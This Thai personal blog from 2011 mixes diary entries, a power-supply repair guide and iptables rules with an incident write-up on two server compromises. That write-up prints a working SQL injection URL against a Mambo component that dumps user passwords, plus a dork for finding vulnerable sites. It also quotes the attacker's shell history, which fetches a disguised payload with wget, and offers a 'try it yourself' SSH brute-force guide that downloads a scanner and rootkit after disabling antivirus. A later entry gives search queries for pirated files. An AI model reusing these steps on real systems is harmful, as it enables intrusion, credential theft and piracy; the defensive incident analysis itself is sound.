Blog เพื่อบันทึกความจำต่างๆ ที่น่าจดจำ และไม่น่าจดจำทั้งหลาย เพื่อการศึกษานะ
วันพฤหัสบดีที่ 15 ธันวาคม พ.ศ. 2554
ทำให้กระดานข่าวโพสไฟล์ได้
[code filename="attachment_mod_for_christmas_style.txt"]
#
#-----[ COPY ]------------------------------------------
#
copy templates/subSilver/viewtopic_attach_body.tpl to templates/Christmas/viewtopic_attach_body.tpl
copy templates/subSilver/add_attachment_body.tpl to templates/Christmas/add_attachment_body.tpl
#
#-----[ OPEN ]---------------------------------------------
#
templates/Christmas/modcp_body.tpl
#
#-----[ FIND ]---------------------------------------------
#
{topicrow.TOPIC_TYPE}
#
#-----[ IN-LINE FIND ]---------------------------------------------
#
{topicrow.TOPIC_TYPE}
#
#-----[ IN-LINE BEFORE, ADD ]---------------------------------------
#
{topicrow.TOPIC_ATTACHMENT_IMG}
#
#-----[ OPEN ]---------------------------------------------
#
templates/Christmas/posting_body.tpl
วันพุธที่ 30 พฤศจิกายน พ.ศ. 2554
วันศุกร์ที่ 18 พฤศจิกายน พ.ศ. 2554
เออ ในที่สุด ก็ได้รู้ความจริง
วันพฤหัสบดีที่ 15 กันยายน พ.ศ. 2554
เวปสำหรับการทำ server และการกำหนดค่าต่างๆ
http://opensource.cc.psu.ac.th/Ubuntu
วันศุกร์ที่ 19 สิงหาคม พ.ศ. 2554
กำหนดวงแลนใหม่หมด
วันอังคารที่ 19 กรกฎาคม พ.ศ. 2554
หัดซ่อมพาวเวอร์ซัพพลายคอมพิวเตอร์
พาวเวอร์ซัพพลาย (power supply) อุปกรณ์ที่สำคัญอีกชิ้นหนึ่งที่ขาดไม่ได้ของเครื่องใช้ไฟฟ้าทุกชนิด (ไม่ใช่เฉพาะคอมพิวเตอร์นะครับ) หน้าที่โดยรวมๆ ของพาวเวอร์ซัพพลาย คือการจ่ายกระแสไฟฟ้าให้กับอุปกรณ์ต่างๆ เพื่อให้มันทำงานได้ ถ้าจะให้เปรียบก็คงเหมือนกับระบบย่อยอาหารของคนเรานั่นแหละครับ พาวเวอร์ซัพพลายของคอมพิวเตอร์นั้นมีลักษณะการทำงาน คือทำหน้าที่แปลงกระแสไฟฟ้าจาก 220 โวลต์ เป็น 5 โวลต์ และ 12 โวลต์ ตามแต่ความต้องการของอุปกรณ์นั้นๆ โดยชนิดของพาวเวอร์ซัพพลาย ในคอมพิวเตอร์จะแบ่งได้เป็น 2 ชนิดตามเคส คือแบบ AT และแบบ ATX ส่วนมากอาการเสียที่มักจะสันนิษฐานว่า เกิดจากพาวเวอร์ซัพพลาย ก็คือ การเปิดเครื่องแล้วไม่ติด พัดลมด้านหลังของพาวเวอร์ซัพพลายไม่หมุน ในกรณีนี้ถ้าเราไม่มีอุปกรณ์ที่ใช้วัดกระแสไฟฟ้า ที่เรียกว่ามัลติมิเตอร์ เราจะไม่สามารถหาพบได้เลยว่าพาวเวอร์ซัพพลายเสียที่จุดใด รู้จักมัลติมิเตอร์ มัลติมิเตอร์มีอยู่ด้วยกัน 2 แบบ คือแบบที่เป็นเข็ม และแบบตัวเลข (Digital) แบบที่เป็นเข็มนั้นมีราคาค่อนข้างถูก แต่ว่าความเที่ยงตรงจะไม่ค่อยมี ส่วนแบบดิจิตอลนั้นความเที่ยงตรงมีมากกว่า แต่ราคาก็สูงตามไปด้วย สำหรับมือใหม่หัดซ่อมอย่างเราก็เล่นแบบเข็มก็พอครับ มัลติมิเตอร์แบบเข็ม ใช้วัดได้ทั้งไฟตรง ไฟสลับ สายไฟ และความต้านทาน ราคา ถูกแต่ไม่ค่อยแม่นยำนัก เอาละ เรามาดูวิธีการใช้มัลติมิเตอร์แบบง่ายๆ กันเลย ก่อนอื่นให้คุณนำสายสีแดงเสียบในช่องที่เป็นสีแดง และนำสายสีดำเสียบในช่องที่เป็นสีดำ (อย่าสลับกันนะครับ) หน่วยวัดของมัลติมิเตอร์นั้น จะมีหน่วยเป็นโอห์ม หมายถึงค่าของความต้านทานของตัวนำนั่นเอง ตัวนำที่ดีที่สุดจะต้องไม่มีความต้านทานอยู่เลย ส่วนถัดมาของมัลติมิเตอร์ คือส่วนที่ใช้วัดไฟฟ้ากระแสตรง หรือ DC โวลต์ สายไฟในเครื่องคอมพิวเตอร์นั้นจะถูกจ่ายออกมาเป็น 2 แรงดันคือ สายสีแดงจ่ายไฟ 5 โวลต์ และสายสีเหลือง จ่ายไฟ 12 โวลต์ เวลาที่คุณต้องการวัดว่า มีกระแสไฟออกมาจากพาวเวอร์ซัพพลายหรือไม่ ให้คุณปรับตัวบิดไปที่ตัวเลขที่ใกล้เคียงสูงกว่า สายเส้นที่คุณจะวัด เช่น คุณต้องการวัดสายแดงที่จ่ายไฟ 5 โวลต์ ให้คุณปรับไปที่เลข 10 เพื่อป้องกันมัลติมิเตอร์พัง เพราะกระแสเกิน อีกส่วนของมัลติมิเตอร์ ก็คือส่วนที่ใช้วัดไฟฟ้ากระแสสลับ (AC) โดยปกติแล้วไฟบ้านเราจะใช้แรงดันไฟที่ 220 โวลต์ ใช้ในเวลาที่คุณต้องการจะวัดสายไฟที่ต่อออกจากไฟบ้านเข้าพาวเวอร์ซัพพลายว่ามีไฟเข้าหรือไม่ หลักการทำงานของพาวเวอร์ซัพพลาย พาวเวอร์ซัพพลาย ทั้งแบบ AT และ ATX นั้นมีลักษณะการทำงานที่เหมือนกัน คือรับแรงดันไฟจาก 220-240 โวลต์ โดยผ่านการควบคุมด้วยสวิตช์ สำหรับ AT และเมนบอร์ด แล้วส่งแรงดันไฟส่วนหนึ่งกลับไปที่ช่อง AC output เพื่อเลี้ยงตัวมอนิเตอร์ และจะส่งแรงดันไฟ 220 โวลต์ อีกส่วนหนึ่งเข้าสู่หน่วยการทำงานที่ทำหน้าที่แปลงแรงดันไฟสลับ 220 โวลต์ ให้เป็นไฟกระแสตรง 300 โวลต์ โดยไม่ผ่านหม้อแปลงไฟ ระบบนี้เรียกว่า (Switching power supply ) และผ่านหม้อแปลงที่ทำหน้าที่แปลงไฟตรงสูงให้เป็นไฟตรงต่ำ โดยจะฝ่านชุดอุปกรณ์ที่ทำหน้าที่กำหนดแรงดันไฟฟ้าอีกชุดหนึ่งแบ่งให้เป็น 5 และ 12 ก่อนที่จะส่งไปยังสายไฟและตัวจ่ายต่างๆ โดยความสามารถพิเศษของ Switching power supply ก็คือ มีชุด Switching ที่จะทำการตัดไฟเลี้ยงออกทันทีเมื่อมีอุปกรณ์ที่โหลดไฟตัวใดตัวหนึ่งชำรุดเสียหาย หรือช็อตนั่นเอง รายละเอียดต่างๆ ของมัลติมิเตอร์ ส่วนประกอบต่างๆ ของพาวเวอร์ซัพพลาย และหน้าที่การทำงาน เอาละครับ เรารู้หลักการทำงานคร่าวๆ ของ Power supply แล้ว เรามาดูถึงอาการเสียที่อาจจะเกิดขึ้นได้ ถ้าจะวิเคราะห์อาการเสียอย่างง่ายๆ ก็มี เช่น เปิดแล้ว พัดลมไม่หมุนแต่เครื่องติด หากอาการแบบนี้ให้คุณทราบไว้เลยว่า พัดลมระบายความร้อนในพาวเวอร์ซัพพลายของคุณนั้นมันเกิดอาการเสียซะแล้ว อาจเป็นเพราะเกิดการฝืดเนื่องจากมีฝุ่น หรือหยากไย่เข้าไปค้างอยู่ หากปล่อยไว้นานๆ ก็อาจทำให้ พาวเวอร์ซัพพลายของคุณพังได้ วิธีแก้ก็คือให้คุณ ตัดเอาพัดลมพร้อมสายไฟออกแล้วเดินไปที่ร้านขายอุปกรณ์อิเล็กทรอนิกส์ (แถวบ้านหม้อก็ได้) แล้วยื่นพัดลมให้คนขายดูเขาก็จะหยิบตัวใหม่ที่เหมือนกันเปี๊ยบมาให้คุณ คุณก็เอากลับไปต่อกับตัวพาวเวอร์ได้เหมือนเดิม แต่บอกไว้ก่อนนะครับว่า ราคาพัดลมกับพาวเวอร์ซัพพลายตัวใหม่นั้นมีราคาใกล้เคียงกันมากทีเดียว แต่ลองหัดซ่อมดูก็ไม่ใช่เรื่องเสียหายนะครับ เปิดแล้วเครื่องไม่ติดพัดลมไม่หมุน หากเกิดอาการอย่างนี้อย่าเพิ่งสรุปนะครับว่า พาวเวอร์ซัพพลายของคุณเสีย เพราะอย่างที่บอกไว้ในหัวข้อข้างต้นก็คือ Power supply แบบ Switching นั้น สามารถที่จะตัดกระแสไฟได้ถ้าหากมีอุปกรณ์ที่โหลดไฟจากตัวมันไปชำรุด ดังนั้นวิธีเช็กก็คือให้คุณถอดอุปกรณ์ที่โหลดไฟจากพาวเวอร์ซัพพลายทั้งหมดออกมาก่อนแล้วเปิดดู หากพัดลมติด และใช้มัลติมิเตอร์วัดดู ถ้าเข็มแสดงว่ามีไฟเลี้ยงเข้าแสดงว่าอุปกรณ์ชิ้นใดชิ้นหนึ่งของคุณนั้นเกิดอาการชำรุดหรือช็อต วิธีทดสอบก็คือให้เสียบไฟโหลดนั้นทีละตัว แล้วเปิดดูหากอุปกรณ์ชิ้นไหนชำรุดพาวเวอร์ซัพพลายก็จะไม่หมุน (ตัวอย่างที่พบกันบ่อยๆ ก็คือคุณประกอบเมนบอร์ดเข้ากับตัวเคส โดยที่ไม่ได้ใช้แผ่นโฟมหรือขาพลาสติกรอง ทำให้ลายวงจรของเมนบอร์ด เกิดการสัมผัสกับตัวเคสที่เป็นตัวนำไฟฟ้าทำให้เกิดการลัดวงจรขึ้น ดังนั้นถ้าเกิดกรณีอย่างนี้ให้คุณรีบปิดตัวพาวเวอร์ซัพพลายโดยเร็ว และใช้แผ่นโฟมหรือแหวนรองน็อต ใส่ก่อนทุกครั้งที่ประกอบเครื่องลงเคส ไม่งั้นคุณอาจต้องน้ำตาร่วงเพราะเสียเงินซื้อเมนบอร์ดใหม่) วิธีวัดพาวเวอร์ซัพพลาย ถ้ามีเข็มขึ้น แสดงว่าพาวเวอร์ซัพพลายของคุณปกติ สาเหตุหนึ่งน่าจะเกิดจากการที่ฟิวส์ที่อยู่ภาพในตัวพาวเวอร์ซัพพลายเองขาด วิธีดูว่าฟิวส์ขาดหรือไม่ก็ให้ดูด้วยตาเปล่า หรือถ้ามีเขม่าจบในฟิวส์มากๆ ก็ให้ถอดฟิวส์ออกมาวัดโดยวัดจากค่าความต้านทานในฟิวส์ ตรงนี้คุณต้องถอดออกมาจากวงจรนะครับ ถึงจะวัดได้ ถ้าไม่มีความต้านทานขั้นก็แสดงว่าฟิวส์ขาด แต่ถ้าฟิวส์ไม่ขาด แล้วยังไม่มีไฟเข้าที่พาวเวอร์ซัพพลายอีก สาเหตุน่าจะมาจาก สายไฟที่คุณใช้ต่อไฟกระแสสลับเข้าสู่ไฟบ้านมีอาการชำรุด ขาดใน หรือแผงวงจรร หรือ อุปกรณ์ตัวใดตัวหนึ่งของพาวเวอร์ซัพพลายเกิดความเสียหาย สำหรับในกรณีแรกให้คุณลองหาสายไฟมาเปลี่ยนดู แต่ถ้าหากเป็นกรณีที่สอง ก็เปลี่ยนพาวเวอร์ซัพพลายใหม่เถอะครับ ไม่ต้องเสียเวลาซ่อมเพราะมันไม่คุ้ม อ้อ ก่อนการลงมือซ่อมพาวเวอร์ซัพพลายทุกครั้งอย่าลืมว่าต้องใส่รองเท้าหนาๆ ด้วยนะครับ เพื่อสวัสดิภาพและความปลอดภัยของตัวคุณเอง
วันอาทิตย์ที่ 17 กรกฎาคม พ.ศ. 2554
ปิด port ด้วย iptables
iptables -A FORWARD -p tcp --dport 6667 -j DROP
iptables -A FORWARD -p udp --dport 6667 -j DROP
iptables -A FORWARD -p tcp --dport 6660 -j DROP
iptables -A FORWARD -p udp --dport 6660 -j DROP
ตอนนี้ก้ทำได้เท่านี้ไปก่อน ไม่อยากจะ format server ลงใหม่ซักเท่าไหร่ โหดเกิ๊น
วันอาทิตย์ที่ 10 กรกฎาคม พ.ศ. 2554
โกงแหลกกับแฮปปี้คนเลี้ยงหมู
วันพุธที่ 6 กรกฎาคม พ.ศ. 2554
อัพคอก/รางทอง/โรงงาน 6 กค 2011
วันอังคารที่ 28 มิถุนายน พ.ศ. 2554
ตั้งค่าระบบ Server intranet
วันอังคารที่ 21 มิถุนายน พ.ศ. 2554
block ip/port by iptables
Block Incoming Port
The syntax is as follows to block incoming port using IPtables:/sbin/iptables -A INPUT -p tcp --destination-port {PORT-NUMBER-HERE} -j DROP ### interface section use eth1 ### /sbin/iptables -A INPUT -i eth1 -p tcp --destination-port {PORT-NUMBER-HERE} -j DROP ### only drop port for given IP or Subnet ## /sbin/iptables -A INPUT -i eth0 -p tcp --destination-port {PORT-NUMBER-HERE} -s {IP-ADDRESS-HERE} -j DROP /sbin/iptables -A INPUT -i eth0 -p tcp --destination-port {PORT-NUMBER-HERE} -s {IP/SUBNET-HERE} -j DROPTo block outgoing port # 25, enter:
# /sbin/iptables -A OUTPUT -p tcp --dport 25 -j DROP
# /sbin/service iptables save
You can block port # 1234 for IP address 192.168.1.2 only:
# /sbin/iptables -A OUTPUT -p tcp -d 192.168.1.2 --dport 1234 -j DROP
# /sbin/service iptables save
วันอังคารที่ 14 มิถุนายน พ.ศ. 2554
เมื่อถึงคราวถูก Hack!!
(PSU Link: http://netserv.cc.psu.ac.th/home2/index.php?option=com_content&task=view&id=412&Itemid=27 )
ตั้งแต่มีโอกาสได้ช่วยดูแล server ก็มีเหตุการณ์ถูก hack ด้วยกัน 2 ครั้ง ผมก็เลยอยากแบ่งปันประสบการณ์ให้ครับ
ครั้งแรก เมื่อปีที่แล้ว จำไม่ได้ว่าวันไหน หน้า web page โดนเปลี่ยน จาก hacker ตอนที่หาสาเหตุครั้งนั้นพบว่า เป็น bug calendar component ของ mambo ที่ไม่ได้ update ครับ ซึ่งการถูกเจาะระบบในครั้งนั้นทำให้ได้ความรู้มาดังนี้
เริ่มกระบวนการเจาะระบบ
1. หา web site ที่มีช่องโหว่ของ bug ตัวนี้ด้วย
Google ==> http://www.google.co.th/search?q=inurl:func%3Dselectcat+%2B+com_remository&hl=th&start=0&sa=N
2. วิธีการทำ SQL Injection เพื่อดู user/passwd
=> http://TargetHost/index.php?option=com_remository&func=selectcat&cat=64549999%20union%20select%201,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),0,0,0%20from%20mos_users/*
3. passwd ที่แสดงนั้นจะถูกเข้ารหัสทางเดียวแบบ MD5 ถ้าใครตั้ง passwd ง่าย ๆ ก็มีโอกาสที่จะค้นหาเจอ
โดยให้เราเอา passwd ที่ได้ไปค้นหาใน
=> http://www.tmto.org/?category=main&page=search_md5
4. เมื่อได้ user/pass มาแล้ว เราก็สามารถ login เข้า mambo ได้แล้ว
โดย login ผ่าน
http://---Host name หน้าหลัก---/
หรือ
http://---Host name หน้าหลัก---/administrator/ (กรณีที่รู้ passwd ของ admin)
วิธีป้องกัน
ให้ตั้ง passwd ให้ยาก ๆ และ update software mambo ให้เป็น version ใหม่ ๆ ครับ
เพิ่มเติม เพื่อความปลอดภัยของ Mambo site ของท่าน
1. เวลาติดตั้ง mambo อย่าลืม change mode file configuration.php เป็น 644 ด้วยน่ะครับ
2. อย่าติดตั้ง component เสียงภัยเหล่านี้
http://help.mambohub.com/component/option,com_frontpage/Itemid,2/index.php?option=com_content&task=view&id=232&Itemid=1
ครั้งที่ 2 ผมได้รับ mail แจ้งจาก ผู้ดูแลระบบ ที่หาดใหญ่ว่า เครื่อง mail server ได้ run bot mIRC แล้วส่งข้อมูลไปรบกวนในลักษณะ DDoS เจ้า bot ตัวนี้ ชื่อว่า energymech
> There are connections from your netspace connected to our
> network and it appears that these host(s) have been
> compromised and had an Energymech (emech bot)installed on
> it, the connections are also controllable by one or a group
> of persons and is being used as part of a botnet, which is
> involved in flooding and very likey used in other illegal
> activities, and can and likely be used in Ddos (Distributed
> denial of service) attacks against innocent users.
ผมก็ไม่รอช้า รีบเข้าไปตรวจสอบร่องรอย โดยใช้ netstat เพื่อตรวจสอบ
network connection ว่ามีเครื่องไหนใช้ port 666x บ้าง เพราะ เจ้า bot ตัวนี้
จะทำงานที่ port 666x ก็พบว่าโดนเข้าให้แล้วครับ
root@mail:/var/tmp# netstat -tna grep 666
tcp 0 40 172.26.0.8:34802 69.16.172.40:6666 FIN_WAIT1
tcp 0 0 172.26.0.8:54453 82.196.213.250:6660 ESTABLISHED
tcp 0 1 172.26.0.8:49826 129.27.9.248:6660 SYN_SENT
tcp 0 40 172.26.0.8:45078 193.109.122.67:6660 FIN_WAIT1
tcp 0 1 172.26.0.8:45048 194.109.20.90:6667 SYN_SENT
tcp 0 0 172.26.0.8:37625 195.144.12.5:6669 ESTABLISHED
tcp 0 1 172.26.0.8:42750 195.47.220.2:6667 SYN_SENT
tcp 0 1 172.26.0.8:50350 195.68.221.221:6667 SYN_SENT
จากนั้นผมก็ไม่รอช้า รีบค้นหาเลยว่า ไอโปรแกรมที่มันเปิด port นี้ มันอยู่ที่ไหน
โดยใช้คำสั่ง LiSt Open File => lsof –i tcp: ตามด้วยหมายเลข port ที่เราต้องการจะตรวจสอบ
root@mail:/var/tmp# lsof -i tcp:6667
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
linux 31140 root 1u IPv4 4403060 TCP mail.coe.phuket.psu.ac.th:55573->irc2.saunalahti.fi:ircd (SYN_SENT)
linux 31140 root 2u IPv4 4403062 TCP mail.coe.phuket.psu.ac.th:48111->zagreb.hr.eu.undernet.org:ircd (ESTABLISHED)
linux 31140 root 4u IPv4 4403064 TCP mail.coe.phuket.psu.ac.th:41608->oslo1.no.eu.undernet.org:ircd (SYN_SENT)
พบว่าโปรแกรมที่เปิด port 6667 ก็คือโปรแกรมที่ชื่อว่า linux ครับ
ผมลองตรวจสอบดูว่า user คนไหน ที่บังอาจมา run โปรแกรม นี้ โดยใช้คำสั่ง ps ก็พบว่า user ชื่อ demo ครับ
root@mail:/var/tmp# ps axuw grep linux
demo 31140 0.0 0.0 1880 608 ? Ss 22:15 0:00 ./linux
ผมก็เลยแก้ไขโดยการปิด process ด้วยคำสั่ง
root@mail:/var/tmp# killall linux
เนื่องจากว่าเจ้า energymech มันจะมี file m.set อยู่ ผมก็เลย ลองค้นหา file นี้ในเครื่องของผมโดยใช้คำสั่ง find ครับ ก็เจอของดีเลย
root@mail:/home/wwarodom# find / -name *.set
/home/test/.. /.t/m.set
/var/tmp/.,/cobrel/raw.set
/var/tmp/m.set
ผมลองเข้าไปดูใน /var/tmp พี่แก มี source ของ enerymech แล้ว มา compile + run ในเครื่อง server นี้เลย เก๋าจริง ๆ
จากนั้น ผมลองเข้าไปใน /home/demo/ ก็ไม่เจอ ไฟล์ linux แต่ก็เลยลองไปคุ้ยใน .bash_history เจอของดีที่ทำให้ผมรู้ว่ามันเจาะระบบผ่านทาง SSH Brute Force ครับ
root@mail:/home/demo# more .bash_history
w
cat /proc/cpuinfo
passwd
ps x
cd /tmp
ls -a
tar xvf nonmin.tar.tar
cd nonmin
./Scan 210.243
./Scan 64.22
./Scan 133.38
./Scan 221.148
./Scan 210.87
./Scan 213.77
./Scan 79.189
./Scan 87.239
cd /var/tmp
perl
tar xvf diana.jpg
ls -a
cd
ls -a
wget members.lycos.co.uk/chicka/diana.jpg
ls -a
rm -rf diana.jpg
cd /var/tmp
./linux
chmod +x *
./linux
passwd
ps x
cd /var/tmp
ls -a
./linux
แหม พี่แกเข้ามาถึงปุ๊บ ดู cpu เราก่อนเลยนะ สงสัยกำลังคิดว่า ถ้า cpu แรง ๆ คงไว้ยิงชาวบ้านเค้าได้เต็มที่ แต่คงต้องผิดหวังละครับ เพราะเจ้า mail server เครื่องนี้ไม่ได้แรงมาก ฮ่า ๆ ๆ จากนั้นพี่แกก็เอาเครื่อง server นี่แหละ ไปยิงหาช่วงโหว่ชาวบ้านเค้า เพื่อตัวเองจะแอบไปใช้ต่อ เลวจริง ๆ จากนั้นพี่แกก็เอาไอเจ้า bot ตัวนี้แหละ ลงในเครื่อง server (ตั้งชื่อ file .tar เป็น .jpg เท่ห์มากเลยนะจ๊ะ) แล้วก็ run bot irc เลยนะ
ตรวจสอบดูอีกครั้ง user พบว่า user test ก็โดนด้วยครับ
root@mail:/home/test# lsof -u test
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
bash 5607 test cwd DIR 8,1 4096 368723 /home/test/.. /.t
bash 5607 test rtd DIR 8,1 4096 2 /
bash 5607 test txt REG 8,1 397274 368725 /home/test/.. /.t/bash
bash 5607 test mem REG 8,1 67408 6824107 /lib/tls/i686/cmov/libresolv-2.7.so
root@mail:/home/test# ps axuw grep bash
test 5607 0.0 0.0 2024 976 ? Ss Aug17 0:23 bash
root 30824 0.0 0.0 4156 1832 pts/0 Ss+ 21:53 0:00 -bash
root 31088 0.0 0.0 4204 1872 pts/1 Ss 22:10 0:00 -bash
root 31276 0.0 0.0 3008 776 pts/1 S+ 22:31 0:00 grep bash
แถมอันนี้พี่แกตั้งชื่อโปรแกรม ว่า bash หลอกให้เราคิดว่าเป็น shell ด้วย!!
ผมก็จัดการ
root@mail:/home/test# kill -9 5607
ผมลอง cross check อีกครั้ง ด้วยคำสั่ง last ก็พบว่า เจ้านี่ มันเข้ามาในระบบเราจริง ๆ ด้วย
root@mail:/home/demo# last grep demo
demo pts/2 host225-57-dynam Mon Aug 25 22:33 - 22:33 (00:00)
demo pts/2 host20-31-dynami Fri Aug 15 23:20 - 01:52 (02:31)
demo pts/1 121.14.139.26 Fri Aug 15 23:20 - 23:29 (00:09)
demo pts/0 60-250-3-222.hin Wed Aug 13 01:54 - 01:54 (00:00)
เอ๊ะ ๆ มอง IP ที่มาไม่ชัด เอาใหม่ ดีกว่า
root@mail:/home/demo# last -a grep demo
demo pts/2 Mon Aug 25 22:33 - 22:33 (00:00) host225-57-dynamic.16-87-r.retail.telecomitalia.it
demo pts/2 Fri Aug 15 23:20 - 01:52 (02:31) host20-31-dynamic.52-82-r.retail.telecomitalia.it
demo pts/1 Fri Aug 15 23:20 - 23:29 (00:09) 121.14.139.26
demo pts/0 Wed Aug 13 01:54 - 01:54 (00:00) 60-250-3-222.hinet-ip.hinet.net
root@mail:/home/demo# last -a grep test
test pts/0 Sun Aug 17 03:13 - 03:30 (00:16) 89.123.129.136
test pts/0 Sat Aug 16 22:01 - 23:39 (01:38) 89.238.202.216
test pts/1 Wed Aug 6 14:47 - 14:48 (00:00) 89.238.202.216
test pts/0 Sun Aug 3 21:14 - 21:14 (00:00) 221.208.255.225
test pts/1 Sun Aug 3 06:02 - 08:02 (02:00) 83.143.38.157
test pts/1 Sun Aug 3 05:49 - 06:02 (00:12) 83.143.38.157
คราวนี้เห็นชัดแล้ว ว่า IP + DNS อะไร ผมก็เอาไปถามใน http://www.ip2location.com/ ว่า มันเจาะระบบมาจากประเทศไหน
ก็พบว่ามาจาก อิตาลี่ , โรมาเนีย, ไต้หวัน, จีน เยอะแยะไปหมด แสดงว่า คงมีอีกหลายเครื่องที่โดนเจ้านี่
เจาะระบบโดย SSH Brute Force Attack ซึ่งคงจะจับตัวการลำบาก เพราะเจ้าตัวการจริง ๆ คงจะไม่ได้อยู่
ในประเทศที่ไปค้นหานี่ก็ได้
สรุปตอนนี้ คือ เจ้า hacker นี้ ได้เจาะระบบ เข้ามาทาง port 22 โดยใช้ SSH Brute Force Attack
จากนั้นก็ จัดการ วาง bot IRC ไว้ ซึ่งผมก็แก้ไข โดยการ end process ที่มีปัญหาทิ้งไป และ จัดการลบ user
ที่เป็นสาเหตุของการโดน hack
จริง ๆ แล้ว เรื่องการตั้ง รหัสผ่าน ให้ยาก ๆ เนี่ย ก็รู้อยู่เต็มอก แต่อาจจะเนื่องจากการรีบเร่ง อยากทดสอบระบบ
ที่ได้พัฒนาขึ้นแบบง่าย ๆ เลยตั้ง user/ password ให้ง่าย ๆ พอทดสอบเสร็จก็ลืม ลบ user นี้ออก
ทำให้เกิดปัญหานี้ขึ้นมา ยังดีนะ ที่มันยังไม่ได้ root password
วิธีป้องกัน
- อย่าตั้ง user/pass ที่สั้นเกินไปและมีใน dictionary
- ติดตั้ง Antivirus (ClamAV) + IDS (snort + snarf)
- อนุญาตให้ใช้ ssh ได้เฉพาะบาง user ที่จำเป็นเท่านั้น
- Update program ให้ทันสมัยอยู่เสมอ
- ถ้าเป็น server ที่สำคัญมาก ๆ ควรเอา tool พวก compiler, wget ออก เพื่อให้ยากแก่การทำงานของ hacker
ความรู้เกี่ยวกับการทำ SSH Brute Force Attack
บางคนอาจจะสงสัย ว่า “SSH Brute Force” คืออะไร? ถ้าให้ตอบง่าย ๆ ก็คือ การ hack ระบบโดยการ นำข้อมูลจากใน dictionary มาทดลองดู ถ้าระบบใช้ user ที่มีใน dictionary ก็เรียบร้อยครับ
ถ้าใครอยากลองก็ทำตามนี้เลยครับ ใน sshteam.tgz จะเป็นโปรแกรมที่ติดต่อ port ssh แล้ว เอา user/pass ใน dictionary ไปทดสอบว่า ถูกต้องหรือไม่
Hacking skills in a few steps Smile (BRUTE FORCE SSH SCANNER)
1) First you have to download the scanner file with command:
wget http://geocities.com/dapheus/sshteam.tgz
2) tar zxvf sshteam.tgz
3) Enter the scanner folder using command cd sshscan
4) Type ./start B-class
5) Example: ./start 147.237
6) Scanner will scan all machines with ip 147.237.*.* for ssh22 port
7) Then start bruting/cracking password of eah box Cool The scanner will paste you the results on the main of your screen
8) If you gain root, you should install rootkit: wget http://geocities.com/dapheus/shv5.tar.gz
9) ar zxvf shv5.tar.gz
10) d shv5
11) ./setup Whoala, you have root! SSH to IP and port you chose.
( ก่อน download โปรแกรมจะต้อง ปิด Anti-Virus ก่อนนะครับ ไม่งั้น file ที่ load มาจะถูก An-ti virus ลบทิ้งไปโดยอัตโนมัติ)
Reference: http://hackhound.org/forum/index.php?topic=998.0
อันนี้ไม่ได้ให้มือใหม่ ไปหัดใช้ยิงเพื่อนคนอื่น ๆ นะ ครับ ผมอยากให้เอาไปใช้ทดลองเพื่อความรู้ของตัวเอง โดย ทดสอบในวงระบบเครือข่ายส่วนตัวเท่านั้น อย่าไปทดสอบกับระบบจริงข้างนอก ไม่งั้นเพราะ ผู้ดูแลระบบข้างนอกเค้าตรวจสอบได้นะครับ
หวังว่าคงจะมีประโยชน์กับผู้ที่เข้ามาอ่าน และ ครั้งนี้คงเป็นครั้งสุดท้ายที่โดน hack ครับ
วันศุกร์ที่ 10 มิถุนายน พ.ศ. 2554
ท่องเที่ยวพัทยา
วันศุกร์ที่ 3 มิถุนายน พ.ศ. 2554
บ่อปลา ปอนิวมอเตอร์
วันพุธที่ 1 มิถุนายน พ.ศ. 2554
555 ไปสมัครไว้หลายที่ มาตกม้าตายที่เดิม
วันพุธที่ 30 มีนาคม พ.ศ. 2554
กลับมาเขียนบทความใหม่ เพื่อสาระๆ
วันเสาร์ที่ 29 มกราคม พ.ศ. 2554
กลับมานั่งเศร้าๆ อยู่คนเดียว
เฮ้อ อะไรกันนะ กลับมาบ้านก็ได้ก็นั่งเศร้าคนเดียวเลย ไม่อยากเปิดมือถือ ไม่อยากเปิดคอม ไม่อยากเห็น ไม่อยากรู้อะไรซักอย่าง เราก็คงจะใจดีเกินไปด้วย ทำไมกันนะ ไอ้คนเลวๆ อย่างเราเนี่ย มีทำดีกับเค้าเป็นด้วยแหะ ไม่น่าเชื่อเหมือนกัน คนๆเดียว ทำให้เราปรับตัว เปลี่ยนแปลงตัวเองไปได้ขนาดนี้ เลยเชียวนะ ก็ดีนะ ทำให้ได้รู้ ได้เห็นอะไรดีๆ หลายอย่าง พักซะบ้างก็ดีเหมือนกัน เจ็บมาก็เยอะ จะไปทนเจ็บอะไรอยู่ทำไมกัน หาอะไรดีๆ ใส่ตัวบ้าง พักผ่อนบ้าง ดีกว่า
วันอังคารที่ 25 มกราคม พ.ศ. 2554
กลับมาอีกครั้ง
นั่นเลย กลับมาแล้วครับผม หลังจากที่ได้ระบายอารมณ์อะไรๆ ไปหลายอย่างมากมายเลยทีเดียวเชียว ก็นะ…มีอะไรเปลี่ยนแปลงไปหลายอย่างเลยนะเนี่ย เราก็ทำได้ตามระบบความสามารถระดับเราจะทำได้ ไม่ว่าจะเรื่องงาน เรื่องส่วนตัว นั่นเลย ไม่รุ้จะว่าไงดี แต่ก็ดีนะ ผ่านอะไรๆ ไปหลายอย่างแล้วเลยคิดว่า น่าจะโอเคแล้วละ เราเองก็ควรจะถอยหลังออกมาจากเรื่องต่างๆ ซักสอง-สามเรื่อง โดยเฉพาะ เรื่องรัก เฮ้อ เอาๆ ผ่านแล้วก็ผ่านนะ ก็ว่ากันไป ถ้าถึงระดับที่คิดว่า แค่คน ๆ นึง ขึ้นมาเมื่อไหร่ คงจะกลับมาเป็นไอ้ต้นตามเดิม
วันพฤหัสบดีที่ 13 มกราคม พ.ศ. 2554
เตรียมตัวสำหรับการอยู่คนเดียว
วันอาทิตย์ที่ 9 มกราคม พ.ศ. 2554
การใช้ google ในการค้นหาไฟล์
วิธีที่หนึ่ง
พิมพ์คำเหล่านี้ ใน Google Search
(1)
" parent directory " /spectralab 4.3213/ -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
(2)
" parent directory " DVDRip -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
(3)
" parent directory "Xvid -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
(4)
" parent directory " Gamez -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
(5)
" parent directory " MP3 -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
(6)
" parent directory " Name of Singer or album -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
หมายเหตุ ให้คุณเปลี่ยน คำที่ตามหลัง parent directory เช่น MP3 Gamez appz DVDRip เป็นสิ่งที่คุณอยากได้ แล้วก้อค้นหา คุณจะพบกับ ความมหัศจรรย์ใน Google
